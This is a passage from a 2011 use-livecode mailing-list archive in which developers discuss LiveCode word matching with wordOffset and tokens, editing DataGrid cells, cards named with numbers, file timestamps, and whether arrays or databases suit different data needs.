:2... to pass in the data. > > Search the following page for this line of text: | revExecuteSQL > myID,"insert into mytable values(:1,:2,:1)","myArray" | > > http://docs.runrev.com/Command/revExecuteSQL > -- Pete Molly's Revenge From pete at mollysrevenge.com Tue Dec 20 19:10:22 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 16:10:22 -0800 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: ... and that's a bad thing? On Tue, Dec 20, 2011 at 3:46 PM, Bernard Devlin wrote: > b) arrays have no machinery (null checking, referential integrity, > etc.) that would slow them down. > -- Pete Molly's Revenge From pete at mollysrevenge.com Tue Dec 20 19:17:36 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 16:17:36 -0800 Subject: Cannot focus on a datagrid?? In-Reply-To: <42504C58-DD1D-4DB2-B063-1893806C0236@mac.com> References: <42504C58-DD1D-4DB2-B063-1893806C0236@mac.com> Message-ID: Hi Charles, Take a look at the lessons starting at http://lessons.runrev.com/s/lessons/m/datagrid/l/7335-How-Do-I-Open-a-Table-Cell-For-Editing They should get you going. Pete On Tue, Dec 20, 2011 at 3:54 PM, Charles Szasz wrote: > Bob, > > Can I asked you a question? I have a DataGrid with one label field. I > have been trying to add an Edit Field to the DataGrid where the user can > enter ratings for each of the 28 statements that are used in the label > field in the DataGrid. So far, I have been unsuccessfully in implementing > an Edit Field in the DataGrid. Has anybody used an Edit Field in a > DataGrid? If so, how did you script it? > > Charles Szasz > cszasz at mac.com > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jhurley0305 at sbcglobal.net Tue Dec 20 19:42:13 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Tue, 20 Dec 2011 16:42:13 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> If the sentence: "Now is the time, for all good men." is within the field "myField" , then find word "time" in field "myField" is successful. The word "time" is found despite the fact that it is not delimited with spaces on either side. But "time" is among the words of "Now is the time, for all good men." returns false, since "is among the words" reads the comma after "time". It requires the spaces on either side of "time" as delimiters. Has this come up before and has it been suggest that this be an enhancement? That is to say, it would be helpful if "is among the words" and "find word(s)" behave the same with respect to the space delimiter. Or am I missing something? Jim Hurley From bobs at twft.com Tue Dec 20 20:21:56 2011 From: bobs at twft.com (Bob Sneidar) Date: Tue, 20 Dec 2011 17:21:56 -0800 Subject: is among the words AND find words In-Reply-To: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> References: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> Message-ID: Not sure if wholeMatches affects the find command, but if you set wholeMatches to true and then use wordOffset("time",field "myField") then I think you will get the results you are looking for. wordOffset() returns 0 when it fails to find a match. Bob On Dec 20, 2011, at 4:42 PM, Jim Hurley wrote: > If the sentence: > > "Now is the time, for all good men." > > is within the field "myField" , then > > find word "time" in field "myField" > > is successful. The word "time" is found despite the fact that it is not delimited with spaces on either side. > > But > > "time" is among the words of "Now is the time, for all good men." > > returns false, since "is among the words" reads the comma after "time". It requires the spaces on either side of "time" as delimiters. > > Has this come up before and has it been suggest that this be an enhancement? > > That is to say, it would be helpful if "is among the words" and "find word(s)" behave the same with respect to the space delimiter. > > Or am I missing something? > > Jim Hurley > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cszasz at mac.com Tue Dec 20 20:27:38 2011 From: cszasz at mac.com (Charles Szasz) Date: Tue, 20 Dec 2011 20:27:38 -0500 Subject: Cannot focus on a datagrid?? Message-ID: <1C78EB1A-AC33-44ED-90C9-CA343A5BA84C@mac.com> Pete, I clicked on the link and got the message that page is no longer available. Charles Szasz cszasz at mac.com From ray at linkit.com Tue Dec 20 21:24:05 2011 From: ray at linkit.com (Ray Horsley) Date: Tue, 20 Dec 2011 20:24:05 -0600 Subject: Go cd 500 In-Reply-To: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> References: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> Message-ID: Here's a relatively basic one but still perplexing. If card 2 in a stack of 2 cards is named a number, 500 for example, how can you go to it in a script if you only have the card's name? From m.schonewille at economy-x-talk.com Tue Dec 20 20:46:44 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 21 Dec 2011 02:46:44 +0100 Subject: Go cd 500 In-Reply-To: References: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> Message-ID: <36D77F9B-BD92-46DE-8DF2-99C492EB48A9@economy-x-talk.com> Hi Ray, You should not use numbers for card names. If you have to use a number, add character, e.g. x500. To temporarily work around this problem, you can use a repeat loop that gets the id and name of each card: repeat with x = 1 to number of cards if the name of cd x is "500" then put the id of cd x into myID exit repeat end if end repeat -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 21 dec 2011, at 03:24, Ray Horsley wrote: > Here's a relatively basic one but still perplexing. If card 2 in a stack of 2 cards is named a number, 500 for example, how can you go to it in a script if you only have the card's name? From pete at mollysrevenge.com Tue Dec 20 20:51:33 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 17:51:33 -0800 Subject: Cannot focus on a datagrid?? In-Reply-To: <1C78EB1A-AC33-44ED-90C9-CA343A5BA84C@mac.com> References: <1C78EB1A-AC33-44ED-90C9-CA343A5BA84C@mac.com> Message-ID: Sorry, I think I missed a character of the end of the URL, here it is again (note the final "-") http://lessons.runrev.com/s/lessons/m/datagrid/l/7335-How-Do-I-Open-a-Table-Cell-For-Editing- On Tue, Dec 20, 2011 at 5:27 PM, Charles Szasz wrote: > Pete, > > I clicked on the link and got the message that page is no longer available. > > Charles Szasz > cszasz at mac.com > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From mwieder at ahsoftware.net Tue Dec 20 20:57:27 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 20 Dec 2011 17:57:27 -0800 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> Message-ID: <121341724203.20111220175727@ahsoftware.net> Pete- Tuesday, December 20, 2011, 4:10:22 PM, you wrote: > ... and that's a bad thing? Possibly. Bernard was making the point that, no it's not, it's part of why arrays are faster than databases. But the other side of that coin is that arrays don't have machinery (null checking, referential integrity, etc.) and therefore you have to add all the validation yourself. So the lack of the database validation things won't slow you down until you get to the point where you do the things that are built into the database machinery anyway, and probably in a faster implementation than anything you could do by scripting. -- -Mark Wieder mwieder at ahsoftware.net From pete at mollysrevenge.com Tue Dec 20 20:59:48 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 17:59:48 -0800 Subject: Cannot focus on a datagrid?? In-Reply-To: <1C78EB1A-AC33-44ED-90C9-CA343A5BA84C@mac.com> References: <1C78EB1A-AC33-44ED-90C9-CA343A5BA84C@mac.com> Message-ID: Hi Charles, I guess I should also mention that you should be able to edit a cell in a datagrid without writing any extra code (as mentioned in the link) unless either the datagrid has been set to be not editable or the column within the datagrid has been set to be non-editable. If you double click the cell, it should open up for editing and when you leave the cell, the new value is updated into the datagrid's internal storage. What happens when you try to edit? Pete On Tue, Dec 20, 2011 at 5:27 PM, Charles Szasz wrote: > Pete, > > I clicked on the link and got the message that page is no longer available. > > Charles Szasz > cszasz at mac.com > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From ray at linkit.com Tue Dec 20 22:01:13 2011 From: ray at linkit.com (Ray Horsley) Date: Tue, 20 Dec 2011 21:01:13 -0600 Subject: Go cd 500 In-Reply-To: <36D77F9B-BD92-46DE-8DF2-99C492EB48A9@economy-x-talk.com> References: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> <36D77F9B-BD92-46DE-8DF2-99C492EB48A9@economy-x-talk.com> Message-ID: <40311B3C-F371-4089-97E8-C105690CE8CB@LinkIt.Com> Mark - Unfortunately our users sometimes insist on naming things numbers, but hey, that repeat loop idea is a good one. Thanks! On Dec 20, 2011, at 7:46 PM, Mark Schonewille wrote: > Hi Ray, > > You should not use numbers for card names. If you have to use a number, add character, e.g. x500. > > To temporarily work around this problem, you can use a repeat loop that gets the id and name of each card: > > repeat with x = 1 to number of cards > if the name of cd x is "500" then > put the id of cd x into myID > exit repeat > end if > end repeat > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! > > On 21 dec 2011, at 03:24, Ray Horsley wrote: > >> Here's a relatively basic one but still perplexing. If card 2 in a stack of 2 cards is named a number, 500 for example, how can you go to it in a script if you only have the card's name? > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Tue Dec 20 21:25:50 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 18:25:50 -0800 Subject: Database syntax In-Reply-To: <121341724203.20111220175727@ahsoftware.net> References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> <121341724203.20111220175727@ahsoftware.net> Message-ID: That's the way I took it, I probably should have been more specific in the comment! I guess my comment was made in the mode of my other response that the decision as to whether to use a database or not goes way deeper than memory and performance issues and depends on the application's requirements. Internal storage is great for a simple, one-dimensional dataset and will beat a database hands down on the performance front, no argument there. But as soon as you get into multiple datasets with links between them or multiple ways to access one dataset or multiple users accessing the same data, there's a strong justification to use a database unless the performance/memory issues are so bad that you can't deal with them (which I find difficult to believe). On Tue, Dec 20, 2011 at 5:57 PM, Mark Wieder wrote: > Pete- > > Tuesday, December 20, 2011, 4:10:22 PM, you wrote: > > > ... and that's a bad thing? > > Possibly. Bernard was making the point that, no it's not, it's part of > why arrays are faster than databases. But the other side of that coin > is that arrays don't have machinery (null checking, referential integrity, > etc.) and therefore you have to add all the validation yourself. So > the lack of the database validation things won't slow you down until > you get to the point where you do the things that are built into the > database machinery anyway, and probably in a faster implementation > than anything you could do by scripting. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jhurley0305 at sbcglobal.net Tue Dec 20 23:31:40 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Tue, 20 Dec 2011 20:31:40 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <1CE21E81-D3F9-4071-B72E-6E666DA80486@sbcglobal.net> Thanks Bob, Good thought, but it still doesn't work. The script: on mouseUp put "now is the time, for all good men." into tText set wholematches to true --set wholematches to false put wordOffset("time", tText) into temp1 put wordOffset("time," , tText) into temp2 end mouseUp shows 0 for temp1 and 4 for temp2. The comma in "time," is need to get a match. What I need is put wordOffset("time", "Now is the time, for all good men.") to show 4 when wholeMatches is true It appears that there is no way in LiveCode to find whole words in a variable reliably. Wish there were. Jim Hurley > From: Bob Sneidar > To: How to use LiveCode > Subject: Re: is among the words AND find words > Message-ID: > Content-Type: text/plain; charset=us-ascii > > Not sure if wholeMatches affects the find command, but if you set wholeMatches to true and then use wordOffset("time",field "myField") then I think you will get the results you are looking for. wordOffset() returns 0 when it fails to find a match. > > Bob > > > On Dec 20, 2011, at 4:42 PM, Jim Hurley wrote: > >> If the sentence: >> >> "Now is the time, for all good men." >> >> is within the field "myField" , then >> >> find word "time" in field "myField" >> >> is successful. The word "time" is found despite the fact that it is not delimited with spaces on either side. >> >> But >> >> "time" is among the words of "Now is the time, for all good men." >> >> returns false, since "is among the words" reads the comma after "time". It requires the spaces on either side of "time" as delimiters. >> >> Has this come up before and has it been suggest that this be an enhancement? >> >> That is to say, it would be helpful if "is among the words" and "find word(s)" behave the same with respect to the space delimiter. >> >> Or am I missing something? >> >> Jim Hurley >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > From jhurley0305 at sbcglobal.net Wed Dec 21 00:10:42 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Tue, 20 Dec 2011 21:10:42 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: Think I will try something like this. Test to see if the word, as a string, is in the text. If so, then strip out all characters not between "a" and "z" or "A" and "Z" and then check to see if the stripped-down word is the same as the test word. That way I will find "time" even if it appears as "(time)" or "time." or "time," or with quotes on either side, etc. I wonder what algorithm LC uses in "Find word(s)" to find only words. Jim Hurley > Thanks Bob, Good thought, but it still doesn't work. > > The script: > > on mouseUp > put "now is the time, for all good men." into tText > set wholematches to true > --set wholematches to false > put wordOffset("time", tText) into temp1 > put wordOffset("time," , tText) into temp2 > end mouseUp > > shows 0 for temp1 and 4 for temp2. The comma in "time," is need to get a match. > > What I need is > > put wordOffset("time", "Now is the time, for all good men.") > > to show 4 when wholeMatches is true > > It appears that there is no way in LiveCode to find whole words in a variable reliably. > > Wish there were. > > Jim Hurley > > > >> From: Bob Sneidar >> To: How to use LiveCode >> Subject: Re: is among the words AND find words >> Message-ID: >> Content-Type: text/plain; charset=us-ascii >> >> Not sure if wholeMatches affects the find command, but if you set wholeMatches to true and then use wordOffset("time",field "myField") then I think you will get the results you are looking for. wordOffset() returns 0 when it fails to find a match. >> >> Bob >> >> >> On Dec 20, 2011, at 4:42 PM, Jim Hurley wrote: >> >>> If the sentence: >>> >>> "Now is the time, for all good men." >>> >>> is within the field "myField" , then >>> >>> find word "time" in field "myField" >>> >>> is successful. The word "time" is found despite the fact that it is not delimited with spaces on either side. >>> >>> But >>> >>> "time" is among the words of "Now is the time, for all good men." >>> >>> returns false, since "is among the words" reads the comma after "time". It requires the spaces on either side of "time" as delimiters. >>> >>> Has this come up before and has it been suggest that this be an enhancement? >>> >>> That is to say, it would be helpful if "is among the words" and "find word(s)" behave the same with respect to the space delimiter. >>> >>> Or am I missing something? >>> >>> Jim Hurley >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> > From revdev at pdslabs.net Wed Dec 21 00:41:28 2011 From: revdev at pdslabs.net (Phil Davis) Date: Tue, 20 Dec 2011 21:41:28 -0800 Subject: is among the words AND find words In-Reply-To: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> References: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> Message-ID: <4EF17188.30506@pdslabs.net> Hi Jim, Try "token" instead of "word" as the chunk you're looking for. It will work. On 12/20/11 4:42 PM, Jim Hurley wrote: > If the sentence: > > "Now is the time, for all good men." > > is within the field "myField" , then > > find word "time" in field "myField" > > is successful. The word "time" is found despite the fact that it is not delimited with spaces on either side. > > But > > "time" is among the words of "Now is the time, for all good men." > > returns false, since "is among the words" reads the comma after "time". It requires the spaces on either side of "time" as delimiters. But "time" is among the tokens of "Now is the time, for all good men." returns true. Unfortunately you will have to write your own tokenOffset() function. :-) Phil Davis > > Has this come up before and has it been suggest that this be an enhancement? > > That is to say, it would be helpful if "is among the words" and "find word(s)" behave the same with respect to the space delimiter. > > Or am I missing something? > > Jim Hurley > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From pete at mollysrevenge.com Wed Dec 21 01:44:34 2011 From: pete at mollysrevenge.com (Pete) Date: Tue, 20 Dec 2011 22:44:34 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: Hi Jim, Try using the token keyword. There is no tokenOffset command so you will have to use a "repeat for each token t..." construct and check t for "time" but it will return "time as a token. The comma will be returned as a token as well. On Tue, Dec 20, 2011 at 9:10 PM, Jim Hurley wrote: > Think I will try something like this. > > Test to see if the word, as a string, is in the text. > If so, then strip out all characters not between "a" and "z" or "A" and > "Z" and then check to see if the stripped-down word is the same as the > test word. > > That way I will find "time" even if it appears as "(time)" or "time." or > "time," or with quotes on either side, etc. > > I wonder what algorithm LC uses in "Find word(s)" to find only words. > > Jim Hurley > > > Thanks Bob, Good thought, but it still doesn't work. > > > > The script: > > > > on mouseUp > > put "now is the time, for all good men." into tText > > set wholematches to true > > --set wholematches to false > > put wordOffset("time", tText) into temp1 > > put wordOffset("time," , tText) into temp2 > > end mouseUp > > > > shows 0 for temp1 and 4 for temp2. The comma in "time," is need to get a > match. > > > > What I need is > > > > put wordOffset("time", "Now is the time, for all good men.") > > > > to show 4 when wholeMatches is true > > > > It appears that there is no way in LiveCode to find whole words in a > variable reliably. > > > > Wish there were. > > > > Jim Hurley > > > > > > > >> From: Bob Sneidar > >> To: How to use LiveCode > >> Subject: Re: is among the words AND find words > >> Message-ID: > >> Content-Type: text/plain; charset=us-ascii > >> > >> Not sure if wholeMatches affects the find command, but if you set > wholeMatches to true and then use wordOffset("time",field "myField") then I > think you will get the results you are looking for. wordOffset() returns 0 > when it fails to find a match. > >> > >> Bob > >> > >> > >> On Dec 20, 2011, at 4:42 PM, Jim Hurley wrote: > >> > >>> If the sentence: > >>> > >>> "Now is the time, for all good men." > >>> > >>> is within the field "myField" , then > >>> > >>> find word "time" in field "myField" > >>> > >>> is successful. The word "time" is found despite the fact that it is > not delimited with spaces on either side. > >>> > >>> But > >>> > >>> "time" is among the words of "Now is the time, for all good men." > >>> > >>> returns false, since "is among the words" reads the comma after > "time". It requires the spaces on either side of "time" as delimiters. > >>> > >>> Has this come up before and has it been suggest that this be an > enhancement? > >>> > >>> That is to say, it would be helpful if "is among the words" and "find > word(s)" behave the same with respect to the space delimiter. > >>> > >>> Or am I missing something? > >>> > >>> Jim Hurley > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > >> > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From keith at gulfbreezeortholab.com Wed Dec 21 02:04:06 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Wed, 21 Dec 2011 01:04:06 -0600 Subject: File time off by an hour... Message-ID: Hi All, I am using detailed files to obtain a file's date and time modified (converting it to short date and short time)... All works well, but I noticed the following... Several of my files have a date of 9/24/11 with a time of 2:26 PM (as shown in Windows explorer). However, when I obtain and convert the date and time in LiveCode, the date appears correctly, but the time is off by 1 hour and shows as 1:26 PM in lieu of 2:26 PM. However, when I open the file and save it, it shows the correct time after modifying the file. (The problem seems to be with older files from several months back.) Does this have something to do with daylight savings time or something? How can I ensure that the file modified time that's shown in a LiveCode app. appears exactly as it appears in Windows explorer? FYI: I am on Central Time here... Thanks, - Boo From pete at mollysrevenge.com Wed Dec 21 03:09:46 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 00:09:46 -0800 Subject: is among the words AND find words In-Reply-To: <4EF17188.30506@pdslabs.net> References: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> <4EF17188.30506@pdslabs.net> Message-ID: Whoops, sorry Phil, replied before I saw your post. On Tue, Dec 20, 2011 at 9:41 PM, Phil Davis wrote: > Hi Jim, > > Try "token" instead of "word" as the chunk you're looking for. It will > work. > > > On 12/20/11 4:42 PM, Jim Hurley wrote: > >> If the sentence: >> >> "Now is the time, for all good men." >> >> is within the field "myField" , then >> >> find word "time" in field "myField" >> >> is successful. The word "time" is found despite the fact that it is not >> delimited with spaces on either side. >> >> But >> >> "time" is among the words of "Now is the time, for all good men." >> >> returns false, since "is among the words" reads the comma after "time". >> It requires the spaces on either side of "time" as delimiters. >> > > But > "time" is among the tokens of "Now is the time, for all good men." > > returns true. Unfortunately you will have to write your own tokenOffset() > function. :-) > > Phil Davis > > > >> Has this come up before and has it been suggest that this be an >> enhancement? >> >> That is to say, it would be helpful if "is among the words" and "find >> word(s)" behave the same with respect to the space delimiter. >> >> Or am I missing something? >> >> Jim Hurley >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > -- > Phil Davis > > PDS Labs > Professional Software Development > http://pdslabs.net > > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From admin at FlexibleLearning.com Wed Dec 21 03:19:53 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Wed, 21 Dec 2011 08:19:53 -0000 Subject: Scripter's Scrapbook (was arrowkey) In-Reply-To: Message-ID: A reminder that the Scripter's Scrapbook is designed to do exactly this... www.ssbk.co.uk or http://www.runrev.com/store/product/scripters-scrapbook-1-0-0/ And if you want a 'Socks' category, you can have that too! Hugh Senior FLCo On Dec 20, 2011, at 7:04 AM, Mike Bonner wrote: > I saw the other input for this problem, I'm thinking that checking > "keysdown()" for the arrow keycodes would be a more reliable solution > depending on your needs. > > I swear I keep learning new things on this list and in the forums. Luckily > I have a horrible memory so I get the bonus of relearning the same thing > over and over! Yeah, me too -- as one of my patients once said to me, "I have a mind like a steel sieve." I save lots of tips from this list in a stack I've made, and thank God for LC's find command.... Wish it worked for socks. (Anyone seen a sort of a brownish-greenish one, medium, almost new?) -- Peter Peter M. Brigham From bdrunrev at gmail.com Wed Dec 21 03:48:20 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Wed, 21 Dec 2011 08:48:20 +0000 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> <121341724203.20111220175727@ahsoftware.net> Message-ID: Actually, this was precisely the situation in which multiple LC arrays, being used as "tables", where the array key was the primary key of the "table", and joining these "tables" was far faster to do using LC arrays than any in-memory SQL database. Admittedly these were only 2-way and 3-way joins, so _maybe_ if they were 7-way joins I might not have seen the same performance difference. If you need a RDBMS (and integrity checks, triggers, etc), then you probably do need it -- there's no point in re-inventing the wheel. But if you need to just store a list of blobs, then an array with pointers to blobs on the filesystem might still be much faster (and much simpler). I'm not opposed to RDBMS per se. In my time, I've used Oracle, Firebird, Frontbase, Postgresql, Openbase, HSQL, Valentina and Sqlite, and I still use some of those if the situation needs it. Bernard On Wed, Dec 21, 2011 at 2:25 AM, Pete wrote: > ?But as soon as you get into multiple datasets with links between them or > multiple ways to access one dataset or multiple users accessing the same > data, there's a strong justification to use a database unless the > performance/memory issues are so bad that you can't deal with them (which I > find difficult to believe). From revdev at pdslabs.net Wed Dec 21 04:17:33 2011 From: revdev at pdslabs.net (Phil Davis) Date: Wed, 21 Dec 2011 01:17:33 -0800 Subject: is among the words AND find words In-Reply-To: References: <91F987C0-AF17-4E83-A6CA-2ADC9423859D@sbcglobal.net> <4EF17188.30506@pdslabs.net> Message-ID: <4EF1A42D.9090604@pdslabs.net> No worries Pete! Phil On 12/21/11 12:09 AM, Pete wrote: > Whoops, sorry Phil, replied before I saw your post. > > On Tue, Dec 20, 2011 at 9:41 PM, Phil Davis wrote: > >> Hi Jim, >> >> Try "token" instead of "word" as the chunk you're looking for. It will >> work. >> >> >> On 12/20/11 4:42 PM, Jim Hurley wrote: >> >>> If the sentence: >>> >>> "Now is the time, for all good men." >>> >>> is within the field "myField" , then >>> >>> find word "time" in field "myField" >>> >>> is successful. The word "time" is found despite the fact that it is not >>> delimited with spaces on either side. >>> >>> But >>> >>> "time" is among the words of "Now is the time, for all good men." >>> >>> returns false, since "is among the words" reads the comma after "time". >>> It requires the spaces on either side of "time" as delimiters. >>> >> But >> "time" is among the tokens of "Now is the time, for all good men." >> >> returns true. Unfortunately you will have to write your own tokenOffset() >> function. :-) >> >> Phil Davis >> >> >> >>> Has this come up before and has it been suggest that this be an >>> enhancement? >>> >>> That is to say, it would be helpful if "is among the words" and "find >>> word(s)" behave the same with respect to the space delimiter. >>> >>> Or am I missing something? >>> >>> Jim Hurley >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >>> >> -- >> Phil Davis >> >> PDS Labs >> Professional Software Development >> http://pdslabs.net >> >> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From alex at tweedly.net Wed Dec 21 05:15:34 2011 From: alex at tweedly.net (Alex Tweedly) Date: Wed, 21 Dec 2011 10:15:34 +0000 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <4EF1B1C6.7070004@tweedly.net> Hmmm ... what will happen to "there is time,enough for it" - NB no space before or after the comma. I think you *want* to find "time" in that case - but I'm not sure if you will by stripping out all non-letter characters from the word "time,enough". Would it not be simpler (and faster) to find the the word as a string, and then verify that the char before is not a letter, and that the char after it is not a letter ? but then, what about "find the time-bomb here" ? Is time a word, or time-bomb a single, hyphenated word ? Oh well, you choose :-) -- Alex. On 21/12/2011 05:10, Jim Hurley wrote: > Think I will try something like this. > > Test to see if the word, as a string, is in the text. > If so, then strip out all characters not between "a" and "z" or "A" and "Z" and then check to see if the stripped-down word is the same as the test word. > > That way I will find "time" even if it appears as "(time)" or "time." or "time," or with quotes on either side, etc. > > I wonder what algorithm LC uses in "Find word(s)" to find only words. > > Jim Hurley From ruslan_zasukhin at valentina-db.com Wed Dec 21 07:38:57 2011 From: ruslan_zasukhin at valentina-db.com (Ruslan Zasukhin) Date: Wed, 21 Dec 2011 14:38:57 +0200 Subject: Database syntax In-Reply-To: Message-ID: On 12/21/11 1:44 AM, "Bernard Devlin" wrote: Hi Bernard, Hi All, 1) Look guys. DATABASE must be used when A) it is much bigger of RAM ... B) you want persistence of data C) you have complex structures of data (tables, links, ) D) You need kind of client/server E) You want use different API to acess DATA. E.g. From LiveCode and PHP and NET and iOS. It is clear that if you try stick to REV arrays somehow, say goodbye to PHP access for example. ++ DATABASE gives ANOTHER abstraction LAYER ++ 2) WE all remember, yet 1990-95 years when computers was with ONE MEGABYTE of RAM But dbs even in that years was many megabytes and even Gbs sometimes. Yes, today RAM can be easy 4-8-16GB ... Yes for many apps this is more than enough ... So some people can try drop DB usage .. 3) But as for me ... When I start describe some model of some app, and I see Person, Phone, Group, Account, Invoice, ... And yet 50-100 objects/tables ... And x3 - x5 more links between them You will put that into INI file ??? Into txt file ??? Into Array ??? Never ... Database World already 40-50 years develop first of all DATA MODELs Navigational, Relational, Object-Relational, pure OO 4) I think I never have relate speed of SQLite and memory usage ... Not sure what you mean ... When we did benches of Valentina against of others RDBMS, We always give same cache size for example. Benches clear did show, that wile DB is small, and is much less of RAM and given cache, even FileMaker could be faster enough ... Really nothing hard todo here ... But when db grow to some SizeCritical then happens Oops, Immediate degradation in speed because HDD dances. What benches have show yet 15 years ago, is that thanks to vertical storage format of tables, and other format of indexes, Valentina DB hasthis SizeCritical significant higher ... But right, if db is big then all db engines start dances with HDD. And here becomes important another parameter: how speed go down while db grow. x10 more of RAM. x100 more of RAM. Is it linear or worse or better? Many issues here. Conditions change dynamically ... > In my experience _no database_ will outperform arrays as data storage. > The simple reason is that a) arrays are stored in memory b) > > Of course, if you run out of memory, you are in dangerous territory > anyway. If you read some of the arguments of Ruslan (of Valentina > fame), even he admits that native in-memory data structures are faster > than database access. And he usually does that whilst he's in the > process of arguing that sqlite is much slower than Valentina. In > following those arguments, I've seen Ruslan argue that sqlite's speedy > performance comes at the cost of high memory usage (he argues > Valentina performs faster, and is designed to only use small amounds > of memory). > > Think about it: if you are setting the dgData of a Datagrid to an > array of 1,000 items, if you are having to get that data from a > disk-based database before putting it into the dgData, then that is > going to be slower. The only way in which things could be faster, > would be if the Datagrid was only asking for data as it was > scrolled/sorted. > > If you have a lot of blob data to display, and the aggregated size of > that data is more than the memory 